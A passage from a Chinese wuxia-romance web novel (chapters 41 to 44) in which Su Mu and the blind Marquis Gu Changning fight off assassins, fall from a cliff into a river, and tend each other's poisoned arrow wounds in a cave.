一次剑锋袭来,苏木闪身,她左脚轻踏岩壁,脚下却被湿滑所制,身形一晃。 黑衣人并非眼盲之人,自然识破漏洞所在,长刀趁势便要劈来。 苏木被迫横剑格挡,硬生生接下一击,虎口被震的发麻,往后踉跄了好几步才堪堪稳住重心,可也是因此,她一下失了沉稳的节奏。 下一瞬,身后长刀破风而来,苏木抬腿后踢,剑锋往后撤的同时,脚腕处更是撕裂之痛。 差一点,那剑就要自后刺破胸口。 一滴冷汗自苏木额前落下,她明白,不能如此僵持下去。 不顾脚下疼痛,苏木侧身划过压在剑身之刃,划剑朝身后退去,几翻折转,变换极快,就在刀刃刺伤一人,只余一人为之对抗时,苏木抬眼,远处又蜂拥而上,比之刚才,甚至更多。 这是不解决他们二人,誓不罢休了。 苏木往车厢旁撤去,刚刚想要自身后偷袭之人再次而来,苏木没了耐心一剑划破对方喉颈,声如其面,冷霜四覆:“你先死一次试试。” 没了人阻拦,苏木再往后撤开几步,无数黑衣人正朝这边袭来,她急着要先去查验车厢之人安危,却还未掀帘,厢内先传来一低沉嗓音,话语急切:“勿要纠缠,上车驱马!”。 听到熟悉声音,苏木紧绷之心瞬时长舒,但她不敢掉以轻心,随即迅速拾起驾车之物,驱车而奔。 身后仍有黑影穿梭,苏木驾车极快,可脸色却愈来愈苍白。 脚腕痛楚如潮水般涌来,冷汗浸湿后背,她觉得自己似乎连驾车都有些吃力。 顾长宁已察觉些不对劲,他起身掀帘,虽瞧不见,但还是问:“你还好吧?” 他不知苏木脚腕在车内时受了伤,只是感受到一丝不一样的寂静,于是询问。 苏木未回头看他,知他掀帘靠近,于是冷声劝告:“这些人是冲你来的,顾侯爷若是觉得活腻了,大可再往前坐上几分。” 她正声,听着像毫无大碍,可一滴滴冷汗自下颌落下,她只能咬紧发白的双唇。 每次和顾长宁在一起准没好事,只盼他今日别拖后退。 顾长宁知眼下形势严峻,听到无碍之声,且还能冷嘲热讽,虽听到些隐忍之声,但他还是稍宽其心,随后放下帘子回到车厢之中。 马车行驶极其之快,车中颠簸,影响苏木腿骨,但她无暇顾及,眼下还是逃命重要,她不能保证,若是被其后之人追上,她是否还有命去寻仇报恨。 然而,偏偏事不如人意,她也的确小瞧了身后所追之众。 未出十丈,马儿忽地前蹄一顿——一大柄长刀自斜劈而下,正中马腿。 良驹长鸣一声,嘶叫着自身承受疼痛,前冲的力道骤失,苏木一剑横过始作俑者,黑衣人滚到在地,激起卷卷黄沙,弥漫大道之上。 苏木还未来得及掀帘带顾长宁翻车,马儿已狂奔向前,比刚才速度更甚。整个车身已剧烈颠簸,几乎要被掀翻。 苏木险些撑住,顾长宁却一个趔趄撞上一侧车门,她往后撤住半步,反手抓住他手臂:“小心。” 她不敢松懈,回身再看向前方时,发现前方路途已断,仅有一处陡崖,远处是袅袅云雾,宣告着崖底深渊。 苏木眉心一惊,毫不犹豫地拽住顾长宁,一个翻身便抱着滚动落地,二人滚入斜坡一侧,被一树干所拦,顾长宁只觉自己后腰被猛地一击。 吃痛闷哼,苏木抬头看向远处马车,那辆马车在他们前方已滚落崖底,不见踪影。 可怜了那马。 苏木眸光收紧,先行起身后连忙扶着挣扎起身的顾长宁。 忽而,一阵脚步声传来,顾长宁低声:“他们追来了。” 苏木还未见人来,她寻着四周瞧去,看到了顾长宁身后的斜坡虽陡,但比之万丈深渊,自然要好的多。 恰好,茂密树林下,有一粗干悬挂其下,若是二人挂在此处,必然不会叫人察觉。 担心顾长宁走失,苏木牵起他手,自顾自地悄声往里走去,声音压得极其低:“跟着我。” “这里是一个陡坡,你听我的,我先爬到枝干之上,你顺着我,抓住我的腿不要放,脚可踩岩壁石子,这样不至于二人皆挂树上,树枝不可承受。” 苏木在前说着话,可身后之人一时却没个反应。 苏木再说:“顾长宁,你给我回过神来!” 她这一声虽低,却比刚才说的话带厉。 “听到了。” “你挂着我,我力气比你大。” 一个人要承受两个人的身子,不是她一个女子能做到的。 她倒真是将自己看的如神仙一般。 顾长宁透过黑暗,瞧着那紧握住自己的掌心,手中温热叫他出神许多,刚才之话,的确是细细回想才知她说了什么。 可下一秒,顾长宁还没反应过来,苏木便翻身往下,语气郑重:“抓紧我。” 随即,他已感觉自己身子猛地一晃,脚下突然没了东西。 手顺着她所牵引,紧抓住她的脚腕。 不是说好的他来承受吗,这人…… 顾长宁叹气,苏木已摩挲着往枝干一处多挪了几分:“你眼睛瞧不见,交给你我不放心。” “右脚往后踏,那有块石子。” 苏木让他所抓脚腕乃是自己未伤之腿,所以眼下疼痛不似刚才,她紧抓着枝干,指节因用力而泛白。 随苏木指引,顾长宁悬挂着的腿往旁摸索而去,果然,有一结实石板悬挂岩壁之上,足够支撑他。 他刚要开口说些什么,可崖顶上头人声却先行出来。 “此处乃是崖壁,无路可走,给我仔细搜!” 一人冷声发话,崖下二人不敢出声,摒住了呼吸。 不知过了多久,苏木虽因身下之人踩有岩壁未借太多她力,但她光是承受自己的身体也有些支撑不住了。 脚腕处不时渗出些疼痛之感,冷汗未干又起一波。 就连顾长宁都感觉得到,手下之人的腿,正紧绷着控制不让自己颤抖。 他忽地回想起车内与车外情景,那时,他一开始只想在外静观其变,也想见识见识苏木真正的实力。 她武功的确不如,以一当十,没有落下风,甚至是上乘之势,可后来,那些凌乱的脚法之声已传入他耳中。 按照当前情况所看,她的脚,肯定受伤了。 不等顾长宁过多思考,一脚步声自头顶传来,愈来愈近。 刀声刺穿茅草,长剑劈空一旁树木,自二人身旁落下,溅起一堆木屑。 二人神经都已绷紧,呼吸都极力控制住。 脚步声停在二人头顶,苏木已瞧见长刀举起,下一秒就要看向自己所抓枝干。 她瞳孔收紧,抓住枝干的双手握得更紧。 苏木往旁看去,再离她不到半步距离另有一枝干,她若是换枝,还有一线生机。 可她贸然一动,身下之人怎么办? 苏木纠结时分,一手已有松动,她心下一沉,如今她管不了别人,她只能先自私一回,顾长宁这摔下去应当是死不了,最多残废…… 可当她四指刚有松动,忽然脚下一轻,失去沉重拽力,苏木身形轻松不少,她察觉不对,往腿下看去。 腿下哪还有人,她至下而上瞧去,顾长宁已点石跃起,立于崖上。 墨青衣诀在崖边轻扬,直挺之身傲然立于地面,他不惧亦不怕不慌。 一时,众人脚步靠近,所有人将他围住。 “给我杀了他!”—— 第42章 “真是疯了。” 苏木未料到顾长宁竟然会主动现身, 不禁暗骂一句,随即同他一般, 跃至崖上。 她立于他身后时,步伐凌乱,呼吸也急促,竟有些摇晃之势,他显然也感知到身后之人,顾长宁轻侧头,一手相扶, 及时稳住了她。他有些气恼, 也有些不解:“你上来做什么?” “你就不能老实呆着?你死了我这蛊怎么办。” 苏木回怼, 但说话时少了些气力, 可这话中多少能听出些责怪之语,她推开顾长宁相扶之手, 努力的站直。 若不是因为二人性命相连, 他就是被追杀之人捅成筛子她也不管。 顾长宁听到她的低语,可他并未再回话, 刚才那些个黑衣人劈树之声他不是没有听到, 若是他晚起半步, 只怕现下二人都已成了孤魂。 他本立于苏木身前,但下一瞬,苏木却将他护至身后。 她知他眼睛瞧不见, 所以在解蛊之前,她不能让他有失。 在二人之前,躺在地上挣扎着要站起来的黑衣人怕就是刚才要劈树之人,见他久久未站起来,苏木已觉不成气候。 只是没想到, 顾长宁还有些脚力,一脚便人叫人长倒不起,在此之前,她有时甚至觉得顾长宁是个病秧子…… 收回思绪,苏木凝神盯着虎视眈眈的一众黑衣人,这一群比之刚才,只有更多,但如今只有两个选择,一个是跳下去粉身碎骨,一个便是和他们拼个你死我活,为自己撕出生路。 “这次,我来助你。” 身后传来顾长宁的声音,一如既往的低沉,却不似往日沉稳平静,多了几分炽热与坚定,像是悬崖旁的一道木桥,莫名叫人定心,给了人一丝底气。 好,她倒要瞧瞧,失明了的小侯爷,武功如何。 那些个黑衣人暂未回神过来二人已至跟前,恰又拉开数十不,分散寻着,一时未聚拢攻击,顾长宁快声询问:“几人?” 苏木闻他话,回答的也快:“十七人,右五人,中七人,左五人。” “你守左,我来右,先攻两翼。” 语罢,苏木还未回应,右侧之人早已反应过来,举剑往前挥来。 她拔刀而向左,提醒着顾长宁:“右侧一人。” 未顾及身后之人情况,她直直向左而去,五人,她根本未放在眼底。 未见其人,一人已扑来,顾长宁闻声不避反迎,斜侧着身子躲过那一剑后,他出手邪魅,未有人看出他动作,那人手腕已被他捏在掌中。 顾长宁用力反手,踢向那人下颌,那人飞滚落地,手中长剑顺势落入他手中。 有了剑,行事便方便了,他的确,也好久未上过战场。 这些人既然要来送死,那便让他们往阎罗王那走一遭。 此时,林中杀意漫天,风声挟裹着血腥味扑面而来,日渐黄昏,红日洒下的金辉落在二人肩头,更显诡异。 顾长宁像一头闻血而动的野兽,冷静、狠厉、甚至带着少年独有的张狂之色。 苏木在一次次与人缠斗中,听见耳边传来他那清晰的声音。 “一个、两个” “……五个。” 苏木不蠢,她知道他所念是什么,在她刺破第四人的胸膛时,腾空折转间她扫了一眼顾长宁。 顾长宁立于血泊之中,身上墨青玄衣已溅上层层血渍,一朵朵在他身上娇艳而鬼魅地绽放。 他微微偏头,侧脸冷峻如雕刻一般,脸上也似衣衫溅上细小血滴,本就空洞的双眼再沾染上血气,仿佛从地狱里杀出的恶鬼。 苏木收回目光,看来,对他的担心是多余的。 她疲惫至极,却还是振奋,脚踝火烧般的疼痛如热浪一次次席卷而来,但她不肯服软,她不比顾长宁弱,她也要让这些置她于死地之人永堕碧落。 转身,苏木看向自己所峙最后一人,眼底生出层层冰霜。 她咬紧牙关,在一次次刀光交错间避开对方刺来的长刀中,她发丝被斩断几根,随崖风辗转而下。 她生了怒,在对方长剑抵于胸前半寸时,一剑刺破对方胸膛,粘腻湿意喷洒苏木脖颈,她眼神未有动容,堪堪拔出嵌入人体的长刀,随即飞至顾长宁身侧。 黑衣人尚余七人,俱是不惧生死之徒,长刀泛着银光,步步逼近。 两人背靠背,黑衣人呈环绕之势。 “看不出来,身手不赖。” 苏木这话有揶揄之色,在这肃杀气氛中生出几分轻松,也乃故意调和。 甚至有那么一瞬,苏木觉得二人不是争锋相对的敌人,而是并肩作战的战友。 顾长宁漫不经心:“这点本事在苏姑娘面前,权作助兴罢了。” 少见顾长宁自谦之语,苏木苍白的面上浮起几分淡笑,眼底都柔和了几分。 不呛人时,顾长宁还像个人。 但这轻松气氛并没有维持多久,顾长宁耳朵敏锐,率先听到林中“嗖嗖”之声。 暗感不妙,顾长宁大喊:“伏低!” 说这话时,苏木眼前已射来一冷箭,待她横剑格挡时,又有无数冷箭射下。 箭羽不似人形近身颤抖,来不及让顾长宁仔细分辨出处,好几次,肩头都从肩侧擦过,不过毫米之尺便可穿破血肉。 苏木也知此道理,她翻身已将顾长宁护至身后,听见顾长宁冷嗤之声:“当真卑鄙。” 怎不是如此,一波十人不够,再派十七人前来,十七人不足,还派弓箭手而来。 苏木都不敢想,究竟是何人对顾长宁有着如此仇恨,不惜用如此卑鄙手段都要置他于死地。 她不敢分神太多,但还是出口一句,忍不住揶揄:“小侯爷仇敌挺多啊。” 下一秒,更有无数密不透风之箭网袭来,苏木惊呼:“小心!” 二人背靠而挡,一人眼瞎不辨方位,一人受伤已无力支撑。 几番格挡下来,顾长宁已感知身后人儿的呼吸越来越急促。 顾长宁紧握着刀柄,忽听得她肩胛轻颤,一猛哼自身后传来。 “苏木?你没事吧?” 他声音透着毫无隐藏的关心与担忧,他能明显感知苏木每一声急促气息都压制着的痛意,他小瞧了她所受之伤,甚至有些懊悔一开始在竹林里,他一直安坐车厢,未出手帮她。 一丝血气自身后传来,肩背摩擦间,苏木膝下一折,单腿磕入地面。 她这只脚,真的没力气支撑了…… 恰时,这波箭羽已然停下,她支剑而撑,笑得勉强:“不算什么。” 顾长宁面上担忧未散,他眉峰紧锁:“你若死了,谁为我这瞎子带路。” “呆在此处勿动,待我杀出去!” 他瞳孔涣散,但双唇紧抿,执剑将她护至身后,朝那阻路七人杀去。 可这时,耳边再次传来嗖嗖箭羽之声。 顾长宁暗骂一句,周转间躲过四面八方罩来的箭羽,却因瞧不见,腿上堪堪中了一箭。 他未反应过来,已听衣诀飞扬声自身侧掠过,直奔苏木方向。 顾长宁心下一紧,随即跟在他身后,凭着直觉伸手之时,抓住了那马上要落入悬崖之人。 他额上青筋暴起,说话时整个人都在用力,指节也因用力而泛白:“苏木,抓紧了。” 可手上沾了血迹和汗液,湿滑无比,眼看二人指尖只交叠半寸未有,顾长宁弃剑伸手,及时将人再次抓的死死的。 他的掌心像是要嵌进她的指节,他只有一个念头,那就是一定要将她拉上来。 这股感觉说不清,顾长宁心烦意乱可无暇多想,他后背绷直,脚尖死死钩住一旁树干,不至于让自己也掉下去。 可下一瞬,一道黑影落入顾长宁身侧,冷笑一声后脚下狠踩。 那人一脚竟踏在二人双手交叠出,狠狠踩躏。 顾长宁吃痛手臂一颤,险些失力,他额头青筋纵横暴起,牙齿紧紧咬住不放,掌心传来苏木抓着的力道,似乎越来越轻了。 “苏木,抓紧!” 这一声,比之刚才更为坚定,似是要唤醒她的意识。 可顾长宁瞧不见,他未看到苏木脸色苍白的可怕,意识也已显模糊之意,她只觉得头脑昏痛沉重,最后只虚虚一句:“顾……顾长宁,箭上有毒。” 随即,双手完全失了力,手上所感,她便要直直朝悬崖底下落去。 恰此时,他听的头上之人剑气划空,下一瞬就可将他钉入地面,他知那一剑要是落下,他必死无疑。 他也中了箭,他也中了毒,就算起身相搏,胜算也不大。 顾长宁不知身下万丈深渊是有多深,所以,他动了。 他落空的双手攥成拳头,一跃而下。 同时,他反倒一拉,猛地将苏木揽入怀中,二人呈上下之姿,往下坠去。 风声从耳边呼啸而过,他的手却死死扣住她,二人衣袍在风中飞扬纠缠,裹挟着一股不可逆转的决绝,直直坠入无边悬崖。 他开始后悔,他是不是过于信任怀中之人了。 他今日,还是应该带上扬风的…… 她已失了意识,身子在空中软软倾斜,她额头紧抵他肩,柔软脸庞轻轻滑落,脑袋紧紧垂落于他那浸染血渍的胸膛,发丝随风扬起时,在他脸上拂过一丝痒意。 那一刻,怀中的温热仿佛筑成一道紧绷的弦,他听不见胸前之人的呼吸,只有自己暗藏于层层衣衫下的那颗心,砰砰如擂鼓之声,乱了节奏。 …… 第43章 皓月悬于靛空, 清辉洒落。风声夹杂着海浪声一声声扑来,似要将岸边一切物件儿吞入汹涌浪沙里。 风从山谷钻出, 带着潮湿的泥土气息和河水的寒意,拂在人脸如同刀割。 “咳咳。” 一声自岸边礁石后传出,这声咳嗽很是剧烈,像是有何物卡在喉咙,想要通过此举吐个干净。 顾长宁剧烈的咳嗽了几声,他从水中泥泞翻身上岸时,身体异常地沉重, 仿佛海浪要卷着他不断往深渊之处而去。 湿透的衣物紧贴着皮肤, 三月河水如冰刺骨。他坐着喘息, 肺腑如同被灌铅了一般, 每一次喘息都花费着巨大的力气。 翻身上岸时,腿上的痛楚一并传来, 他忽而回想起来, 在此之前,他中了箭毒, 和苏木一起滚落山崖。 徒手折断箭羽后, 他再次大喘一口气。 所以, 还有疼痛,他还没死。 既然如此,苏木呢?她肯定也还活着! 顾长宁不辨黑夜白天, 耳朵却在此时更加的机敏。 背靠礁石,他几番转身,耳边皆无动静。 他听不到她的声音。 他猛然惊觉什么,单手撑地将身子从湿腻地面撑起来,脚下踉跄, 被湿滑地面绊倒了好几次,才跌跌撞撞摸向四周。 他在起身之前试图在地上摸出一根树枝作为手杖,可毫无疑问,只有石子和泥沙。 他看不见,只能双手朝前微弯,借助手指指尖一点点探索。 脚下是砾石、枯枝、被水冲的四处零散的杂草,可偏偏没有柔软的身体。 顾长宁就这样在黑暗中摸索,不知这样在四周探寻了多久。 他绷着指尖,试探性地往前去探索,也无比希望脚下能碰到阻碍之物,但始终没有。 只有那些个枯枝小石,一次次绊倒他。 他最初没有出声喊她,主要是他如今不知自己身处何地,怕再引来不必要的麻烦。 顾长宁又被冷风拍打地猛咳一身,拖着那受伤的左腿,再一次从绊倒之处爬了起来。 他想着,他还是要出声的,正当他扯了扯干涩的喉咙时,脚下突而碰到一柔软的东西,他有些不敢相信,随即脚尖又在四周摩挲几下。 是布料摩擦声,也是人身体的柔软之感。 找到了人,顾长宁猛地一喜,眼底生出些光芒来,可小一瞬,他却面色一转,摒住了呼吸。 他腿有些发紧,小心着缓缓蹲下,他抬手,指尖却在半空中颤抖着前进了半分,随后滞住不敢往前。 似是下定了决心,顾长宁牙关紧闭,才再次伸出来那只试探性的手,小心覆盖那层冰冷之上。 他的手指带着他的回忆慢慢摸索,从沾着泥土的手腕和衣袖,再至她眉眼、鼻梁、乃至整个脸颊。就如初次相遇时,他审她,也是摸着她的脸颊,一寸一寸。 那时,他说:“这么漂亮的一张脸,落了疤就不好看了。” 是人,是她。 心跳仿佛要跳出喉咙,他咽了咽喉咙,指尖感受到到的冰凉似乎在宣告着不对劲。 他食指指节微屈,试探性地朝鼻头之处探去。 一丝微弱气息自指节传来,顾长宁紧绷的身体终于松懈了半分。 他半跪于地,用力将她揽至怀中,右手轻拍脸颊:“苏木,苏木?” 没有任何声音回应。 “苏木?苏木?” 这两声,比之刚才更加急切。 顾长宁伏低身子,听着她微弱的气息,这气声如游丝,几乎下一秒就要断开一般。 这让顾长宁想起,他刚从岸边醒来时,喉中鼻腔中灌满了河水,这河水压抑胸口,阻塞气流,所以,他应当帮助她将所呛之水排解出来。 想罢,顾长宁将苏木又平放至泥沙中,然后用手掌相叠,按压至她胸口。 “一、二、三……” 他低声数着,可在数次按压过后,身下人儿未有半点反应。 这下,顾长宁是真的急了。 还有什么办法? 他在脑海里极力地回忆,极力地去找寻办法,终于,他想起他幼时落入宫中荷花池,是父亲将他捞起,以口渡气,这才让他捡回一条命。 对了,就是这个方法。 可想至此,他却有些僵住了。 男女有别,若是这般,岂不会像占她便宜? 可救人之术,本就无谓男女,眼下情况紧急,他不能扭捏。 “失礼了。” 他指节紧了紧,顺着刚才手指所触柔软之处,终于低下了头。 说罢,他低头覆上她唇,感受到她唇瓣得柔软,缓缓吐出一口气。 他动作有些僵硬,所以贴的并不算近,他生怕压得太近,又怕太远气息无法渡进去,因此,若要说双唇相贴,倒不如说两人鼻尖靠的更近。 他心跳的越来越快,有救人心切的紧张,也有一丝没来由的奇怪感觉。 一息过后,底下人仍没反应,他蹙眉凝神,终于抛开所有的扭捏,只有救人之心切。 他退开,再次深吸一口气,这一次唇与唇之间仍有缝隙,却又密接得足以传送所有温热之气,他感受到她唇上的湿意与冷意如冰雪一般,却又在慢慢的融化,慢慢回暖。 他偏头再深吸一口气,第三次俯身渡气…… 苏木只觉自己做了很长的一个梦,梦里,她处于九年前那方冰冷刺骨的荷塘之中,亲眼看着亲人一个个死在眼前。 她的脚下仿佛被万丈深渊所缠绕,压抑得她喘不过气,仿佛下一刻就要永远被吞噬被沉溺。 无论她如何呼喊,如何挣扎,始终不得解脱。 可下一瞬,她又感觉脚下缠绕正在慢慢瓦解,她身体不再沉重,开始变得轻盈起来,直至浮出水面,感受到一丝日光照射于面颊、唇边。 “唔——” 苏木只觉胸腔有积水堆积,使她难受至极,她猛地睁眼,被眼前一幕吓得晃了神。 眼前不是日光,不是荷塘,不是沈府,是一张极近的脸。 男人冷峻的面孔几乎和她鼻息相贴,他发丝还滴着水,一滴滴落入她的脸颊。 他眼睛睁大,猛地向后推开,抬手将散落于胸前的长发掀至身后,看着很忙的样子。 苏木分不清是现实还是梦境,她只觉自己脑袋重重的,随后她猛咳几声,鼻腔及其胸中积水被她吐了个干净,她感知到眼角呛出了几滴泪珠。 下一瞬,她再次昏了过去。 顾长宁听到人声时一瞬弹开,后背都绷得僵直:“那个,你……你呛水了,我……” 他已经准备要解释甚至已经开始解释,可几声呛水咳嗽后,对面之人再没传来其它声响。 察觉不对,他跪对上前了几步,喊着她的名字,却再次无人应答。 他揽她如怀,气息比之刚才稳健许多。 放心后,顾长宁便知,苏木又再次昏了过去。 晕过去了好,晕过去了好…… 岸边湿冷,二人一直呆在此处也非良久之计,顾长宁想想后将她一把拉直上半身,随即蹲下,将她双手擒在脖间,背着她一步步往与河水相反方向而去。 他能感觉到,风是从一极窄山缝中吹过,逆风行走,必然能找到靠山所在。 …… 幽闭草涧处藏在一容人之洞口,洞行数十步,隐约可瞧内里火光跳动,驱散野兽的靠近。 苏木缓缓睁眼,只觉得周围安静的出奇,鼻尖萦绕着一股柴木灰与草木的清苦。 她怔了片刻,这才发觉自己正躺在一片干叶所铺地毯上,身上还盖着一件外衣,这墨青外衣和她所着衣衫颜色相异,一眼她便知是顾长宁之衣。 想起这个名字,苏木脑海里浮现起些斑驳画面来,在梦里,她梦见自己再次回到沈府被灭门的那个晚上,那晚她被人救起,她努力看清那人的脸庞,居然是顾长宁。 苏木都觉自己这梦怪异无比,八岁时她才多小,怎能看见顾长宁如今模样。 果然是梦,当不得真。 但瞧身上所盖之衣,她有些恍惚,她还以为她一定会死,没想到还算命大。 苏木朝四周瞧去,一火堆离她不算太远,火堆旁是用一根接着一根的粗枝所搭木架,木驾上还搭着她那蓝月色的外衫。 洞穴隐蔽,火光照亮范围并不算太大,某些地方任被暗黑笼罩,她微微撑起身子,却扯动肩胛伤口,眉头紧紧拧在一起,轻“嘶”出声。 感受到自己肩头箭镞还未取出,苏木往火堆旁移动,将习惯于放入怀中的短刀拿出在火前烤辣。 不待多时,她自己掀开层层薄衫,对准伤口,将箭镞生生剜了下来。 这么多年,在外处理伤口而没有麻药并不少见,就算她脸色泛白,她也不能让箭镞一直这样嵌在肉里。 做好一切,苏木起身将自己那看着还算干净的月蓝色外衣撕下,叠成竖条之后绑好了伤口。 苏木又睡了过去,等再次醒来时,洞外忽而传来一阵细碎的脚步声,紧接着,一道身影缓缓走进了火光之中。 顾长宁支着一根还算结实的粗木棍,一步步试探地走进来。 他外衣未着,另一只手提着一装满物件的衣衫,似乎有些沉甸甸,压得他走路稍显踉跄。偶有石块阻路,他用木棍敲开,然后沿着崖壁而走。 “你去哪了?” 苏木见他近了,出声问他。 他刚坐下放下木棍边听身侧突然传来一身,微惊一瞬,随即铺开包裹得衣衫。 “你醒了?” 顾长宁眸中扯起半抹淡笑,慢条斯理得解开衣衫所打的结,将衣中之物捧起一掌,递到她跟前。 “旁边有几株山莓,酸甜可口,亦有止血功效,你多食些。” 苏木接过,有些诧异:“你还懂这么多?” “自小在军中长大,打仗时难免受伤,这些野果子已叫人吃的反胃了,你全部吃完。” 未等苏木问他为何不吃,他已回话,仿佛猜中她下一秒要说些什么。 苏木瞧着他哪衣衫里满满当当的野果子,有些失笑:“这么多,我也吃不完。” “吃不完就明日再吃点,现下我二人皆有伤,出去也只是羊入虎口。” 顾长宁摆摆长袖,没朝苏木这边,眼中有些火苗跳动:“扬风他们见我未归比会前来,我一路留有记号,等着吧。” 语罢,苏木已将野果送入口中,果然如顾长宁所说,是酸甜的。 但她学医已久,自然也知山莓味道与药性,随即又往自己口中塞了几个。 说实话,也的确饿了。 不过,苏木又细细回想起来,她最后的意识停留在她掉入悬崖之中,不知何时又是如何进入这洞穴的。 她仔细瞧着顾长宁那一如既往未有表情的脸庞,倒有一丝佩服他了 一个眼瞎之人,能够将一切安排的如此妥帖的确不容易,想罢她随之开口,带着真心:“顾长宁,谢谢你。” “可我们,是如何逃脱的?”—— 第44章 “顾长宁?” 苏木未听他回答, 于是叫他名字,以为他出了神。 她腮帮子被塞得鼓鼓的, 叫他名字是还有些含糊不清。 顾长宁轻声应着:“我在。” 他往身后石壁靠了一点,头也偏向她:“我也中了毒,和你同时掉入崖底。山崖不浅,半道你我被一树枝挂住缓冲了压力,这才不至于粉身碎骨。” “你我二人被河流冲至下游,我比你醒得早,于是寻到了这处。” 顾长宁这话都是简单了的说, 忽略掉了许多细枝末节, 天知道在苏木昏迷时, 这短短的措辞他想了多久。 所以在苏木问起他时, 他还在默默回想牢记于心的这些话,这才开口迟了些。 见他说的简略但又说得通, 苏木点头应声, 未有丝毫怀疑。 苏木想起之前那些个誓不罢休的死士,看向他:“所以, 你知道那些人是何人派来的吗?” 见说起那些人, 顾长宁脸色阴沉了许多:“现未有证据, 但大致知道是何人。” 想起儿时谢伯伯慈祥的面容,苏木不愿相信此事为他所做,但她还是试探一问:“是谢相?” “咳咳咳——” 苏木说完这话猛感一阵寒气, 她一边仔细听着顾长宁的回话,一边伸出手向自己手腕脉搏处搭去。 风寒入体,毒性未解。 顾长宁拾弄了几下柴火,回答的漫不经心,但确实没想到苏木能一下猜中。 谢府刚死一子, 再加上顾谢两家常常明争暗斗,有此机会杀他,可不得拼尽些力气。 但苏木和他毕竟萍水之缘,蛊毒一解她便可离去,他没必要告诉她,也没必要牵连她。 “此事不是你该关心的,蛊毒一解,你就自由了。” 他是希望苏木离开的,他总觉得,每次和她相处一处时,他都感觉自己如同生病了般,心底有着不一样的奇怪的感觉。 为了让这种感觉消失,还是少和她接触为妙。 苏木看她突然又冷了脸,一时有些失语,但又像早已习惯一般,又拿起一果子往嘴里塞去,没再搭话。 安静了好一会儿,火势也渐减弱,苏木感觉冷意更甚,于是往前挪动了几分,这一声自然被顾长宁听在耳中:“火势不大了,我再去拾些。” “我比你方便,我去。” 他刚要起身,苏木上前一把将他拽住,她一眼睛尚且康健一人老是看着一失明之人来去忙活,她心底怪不是滋味的。 可没想到这一下,将顾长宁极力掩饰的腿下箭伤给撕扯到了,他极力压制却还是闷哼出声。 苏木见他脚下踉跄,已发觉些不对劲。 苏木开口,这句话十分严肃,带着不应带有的命令:“顾长宁,坐下。” 他顾长宁除了听循圣上号令,还未被如此强硬命令过,可不知为何,他却脚下不听使唤一般,真的重新坐下。 她已知他是脚上有伤,于是又往前坐了几分,身上盖着的墨青外衣已被扯开放置身后。 苏木攥住他那还想要往回缩的脚:“顾长宁,我不愿欠人恩情,我想,你日后也必定不愿再见到我,既然如此,你救了我,我为你瞧了这腿,便算两清了。” 顾长宁斜对她而坐,那声无碍生生压回了喉间,她看不清顾长宁的面色,但她手中的腿却也没再强硬撤回。 见此,苏木才放了心,于是小心掀开了他衣摆。 布一揭,血色已将裤腿大片染透,箭杆已被折断,只余半寸和箭镞一同嵌在大腿外侧,苏木眸色一沉,低声道:“你没给自己处理伤口?” 顾长宁呼吸一顿,面上却仍不见一丝波动,仿佛这箭不是嵌在自己腿上,但额上薄汗却出卖了他。 她半蹲,火光映照在她眉眼之下,她左肩受伤不便,好在右肩还活动自如。 苏木蹙眉瞧着腿上伤口已有发炎之状,若不即时取出箭镞,只怕会溃烂发脓。 “箭不能直接拔,得先破开皮肉,将箭镞一并取出,再止血消炎。” 顾长宁“嗯”了一声,靠在石壁之上,静静由着她摆弄。 恰好,刚才在处理自己伤口时,石面上捶打的马齿苋还能用,虽不及去医馆处理,但也比没有好。 苏木在脑海里将处理伤口的方法在脑海中过了一遍,然后准备用匕首割开伤口周围的布料和皮肉。 这伤口比她的要棘手,她只能带着安慰的提醒:“忍着点。” 下刀时,苏木能感受到顾长宁肌肉微颤,可他却未出声。她心下一紧,处理的也更仔细了些。 苏木低声:“再忍忍。” 她找准角度,小心将箭头慢慢拧出,鲜血顿时涌注出来,她迅速将之前捣好的马齿苋伏在伤口,再撕开一块干净的衣布缠好止血。 整个过程顾长宁都没吭声,包扎完后苏木问:“疼吗?” 顾长宁唇角动了动:“无碍。” “只是,倒是忘了你会医术了。” 他将自己衣摆的衣衫摆放整齐,将自己小腿盖住,没了刚才之局促,整个后背贴在石壁之上。 “我记得你也中箭了是吧?你落崖时曾说这箭有毒,为何我们如今却没毒发身亡?” 想起上次中毒,顾长宁都有了一丝后怕,中毒的确叫人难受,往鬼门关来来去去。 苏木将刚才所用短刀在旁边干净水池里清晰一边,随即用衣衫擦拭干净后又放回刀鞘。 她解释:“这毒虽烈,但对你我二人无甚影响。” “只是初时毒性浓烈才致人昏沉。” “何故?” 苏木见顾长宁问,于是又答:“我俩可都是中过毒的人,自然吃过避毒之物,那日我杀你时中了你的乌头毒,吃了避毒珠;而你中毒那日,我也给你用了我的避毒丸。” “避毒丸工序复杂,所用药材也多,服用之后三月内百毒可解,避毒珠功效稍弱,但对付这箭毒也够用了。” 苏木一口气说完缘由,顾长宁突然没了话说。 他记得他毒发醒来后问过扬风,他毒发那次是苏木将自己的避毒丸给了他。 顾长宁闭目,似在养神:“所以,你的毒性还未解是吗?” 毒性未解,所以她才如此怕冷,几次听到她朝火堆移动的声音。 苏木起身要去拾柴火,语气冷漠,似要撇清关系一般:“给你避毒丸不是为你,是为我。” 说罢,苏木就跛脚往洞门外而走。 顾长宁叹气,他哪里不知,不管是之前还是现在,她救他那都是想要保全自己,而非对他有任何其他之意。 山洞外的林子被夜色裹的很沉,苏木拄着一根粗树枝,一步步往林中走去。 顾长宁眼睛看不见,腿还受了伤,要是遇到个猛兽什么的跑的都没她快。 如此让人不放心,这拾柴之事,还是她亲自来比较妥当。 她的脚踝扭过,肩头也有伤,每弯腰一次,疼痛便席卷而来,虽然身体在止不住的颤抖,但她还是以为是毒性在体内扩散所致,眼下无药,最主要就是要驱寒裹热,出点汗便无大碍。 所以她坚持着将一根根小树枝抱在怀里,由小抱渐渐捡成一大捆。 火续上时,顾长宁眼睛正闭着,不知道是真困了还是在闭目养神。 但就算没有睡着,她也不会去叫醒他。 毕竟至她醒过来之前的一天两夜,都是他这个瞎子在照顾她。 火势变大后,苏木感觉口中发渴,她想起在洞门转角处的一处浅池,那水很是清澈,必定是地底下的泉眼。 想着,她便摘了几片阔叶,折成托底圆装后猛喝了几口。 很是甘冽。 苏木瞧着远处依旧睡着的顾长宁,还是打算给他也接上一点。 她捧着手里阔叶蹲在顾长宁跟前时,也确实瞧见了他干裂的唇壳。 苏木往前一递:“你渴了,喝点。” 闻声,顾长宁便睁开了眼,虽然没看向她,眼神依旧目目的,却轻点了点头,说了谢字后便接过了水。 